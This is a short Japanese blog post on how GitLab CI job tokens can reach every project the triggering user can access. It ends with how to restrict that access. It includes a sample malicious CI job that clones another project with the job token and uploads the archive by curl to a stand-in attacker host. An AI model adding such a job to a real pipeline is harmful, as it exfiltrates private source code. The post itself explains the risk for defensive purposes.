GitLab CI ジョブトークンを安全に


GitLab CI ジョブトークンを安全に

GitLab CI 便利ですよね! ないと死んじゃいます。

GitLab CI ジョブの実行時に CI ジョブトークン ってのが発行されて、CI ジョブの中の git リポジトリからのフェッチに利用されています。一部の GitLab API はこの CI ジョブトークンを受け付けますので、GitLab Container Registry へのプッシュなどもできるわけです。

本当は怖い CI ジョブトークン

CI ジョブトークンを大雑把に言うと、権限を絞ったパーソナルアクセストークンです。CI をキックした人 (プッシュした人やマージした人などなど) がアクセスできるグループやプロジェクト全部にアクセスできます。

攻撃者は、同じプロジェクトに参加しているメンバーに CI ジョブを実行させることで、そのメンバーが参加しているほかのプロジェクトにアクセスできるわけです。

  • シグマプロジェクトは太郎さんが参加している
  • デルタプロジェクトは太郎さんと花子さんが参加していて、雑な管理をしている

花子さんはデルタプロジェクトの CI ジョブに次のような処理を含めます。

evil:
  script:
    - git clone https://gitlab-ci-token:${CI_JOB_TOKEN}/gitlab.example.com/sigma/sigma.git
    - tar zcvf sigma.tar.gz sigma
    - curl -X POST -F file1=sigma.tar.gz http://hanako.example.jp/evil

太郎さんがデルタプロジェクトにプッシュすると、この evil ジョブが動作して、ソースコードをごそっと抜かれるわけです。

シグマプロジェクトがいくら安全に気を使っていても、雑なデルタプロジェクトのせいで影響を受けてしまうわけです。

CI ジョブトークンのスコープを制限する

Limit GitLab CI/CD job token access に書かれているとおりです。

プロジェクトの Settings -> CI/CD -> Token Access を開いて、Limit CI_JOB_TOKEN access をオンにしてください。

これだけで、このプロジェクトはほかのプロジェクトの CI ジョブトークンを受け付けなくなります。

特定のプロジェクトの CI ジョブトークンを許可することもできます。複数のプロジェクトを連携させているときはこれを設定します。